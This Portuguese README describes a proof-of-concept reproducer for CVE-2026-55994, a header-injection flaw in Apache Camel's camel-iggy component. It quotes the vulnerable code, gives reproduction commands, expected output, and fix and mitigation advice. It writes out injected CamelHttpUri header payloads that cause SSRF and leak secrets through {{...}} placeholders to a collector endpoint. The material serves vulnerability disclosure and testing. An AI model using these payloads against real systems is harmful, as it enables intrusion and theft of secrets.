Reproductor de Injeção de User-Header camel-iggy (CVE-2026-55994)

Este projeto demonstra uma injeção de cabeçalho de mensagem no componente camel-iggy do Apache Camel, rastreada como CVE-2026-55994. O consumidor Iggy copia os user-headers de uma mensagem de entrada para o Camel Exchange sem qualquer HeaderFilterStrategy, portanto qualquer pessoa que possa publicar no tópico Iggy consumido pode injetar cabeçalhos de controle do Camel — notavelmente CamelHttpUri:

// IggyFetchRecords.createExchange (afetado 4.18.2) — user-headers da mensagem Iggy -> headers do Exchange, sem filtro
message.userHeaders().ifPresent(userHeaders -> {
    Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
            e -> e.getKey(),
            e -> e.getValue().value()));
    exchange.getIn().setHeaders(stringUserHeaders);
});

Quando a rota faz a ponte deste consumidor para um produtor HTTP, um CamelHttpUri injetado substitui o URI alvo do produtor — server-side request forgery. O produtor camel-http também chama resolvePropertyPlaceholders() nesse URI controlado pelo atacante, portanto uma referência {{...}} injetada é expandida para seu valor real e enviada — revelando variáveis de ambiente, propriedades de aplicação ou segredos de cofre.

Este PoC demonstra o impacto como SSRF mais divulgação de segredos (CWE-20 → CWE-918 + CWE-200). É um dos três componentes irmãos corrigidos juntos sob CAMEL-23532 (com camel-vertx-websocket, CVE-2026-46726, e camel-atmosphere-websocket, CVE-2026-55993).

Advisory: https://camel.apache.org/security/CVE-2026-55994.html

Resumo da Vulnerabilidade

A correção aplica uma HeaderFilterStrategy ao mapeamento de entrada, filtrando cabeçalhos Camel* / camel* para que não possam mais ser injetados através dos user-headers de uma mensagem Iggy.

Como este reprodutor exercita o código vulnerável real

O vulnerável IggyFetchRecords.createExchange(...) é executado sem alterações, em uma mensagem Iggy forjada cujos user-headers são controlados pelo atacante. O Exchange resultante flui através da rota real para o produtor camel-http real, portanto o SSRF e a divulgação de property-placeholder {{...}} são genuínos.

Por que um broker Iggy ao vivo não é usado. O doStart do consumidor iggy: abre uma conexão com um servidor Iggy em execução, portanto a rota não pode iniciar sem um — e o servidor Apache Iggy requer io_uring, que o perfil seccomp padrão do Docker bloqueia (ele só executa com --privileged), tornando-o inadequado para um PoC portátil e compartilhável. O próprio createExchange vulnerável não precisa de broker, portanto o driver constrói o IggyFetchRecords real e o invoca diretamente com a mensagem forjada. O PoC irmão camel-vertx-websocket (CVE-2026-46726) aciona o defeito idêntico através de um transporte ao vivo.

A rota vítima

Em uma implantação real: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). Aqui a metade downstream é from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"), alimentada pelo Exchange envenenado construído pelo createExchange real.

Estrutura do repositório

CVE-2026-55994/
├── pom.xml                 # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml      # serviço único autocontido
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # link downstream -> http://localhost:8080/legit-backend
    │   ├── SinkController.java     # coletor SSRF: /legit-backend, /internal/secret, /collect
    │   └── ExploitController.java  # forja uma mensagem Iggy + executa o createExchange real (injeta CamelHttpUri)
    └── resources/
        └── application.properties  # app.secret=... (vazado via resolução de placeholder)

Pré-requisitos

• Docker e Docker Compose
• Java 17+ e Maven 3.8+

Passos de Reprodução

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Saída esperada

1) Mensagem comum (user-header x-order-id=A-1001)
     alcançou /legit-backend: true
     alcançou /internal/secret: false

2) User-header injetado 'CamelHttpUri=http://localhost:8080/internal/secret'  (SSRF)
     requisição server-side alcançou /internal/secret: true

3) User-header injetado 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}'  (divulgação de segredo)
     coletor do atacante recebeu vazamento = SUPER-SECRET-abc123
     é igual ao segredo real do aplicativo: true

>>> SSRF=true, divulgacao-de-segredo=true

Correção Recomendada

Atualize para 4.18.3 / 4.21.0 (CAMEL-23532). Após a atualização, o consumidor filtra cabeçalhos Camel* dos user-headers da mensagem Iggy, portanto CamelHttpUri e outros cabeçalhos de controle não podem mais ser injetados.

Mitigação

Até atualizar, não faça a ponte de um consumidor iggy: diretamente para um produtor HTTP sem remover os cabeçalhos de controle do Camel primeiro (por exemplo removeHeaders("CamelHttp*")), e defina o alvo do produtor a partir de uma fonte confiável (ou use bridgeEndpoint=true).

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o use contra sistemas sem permissão explícita.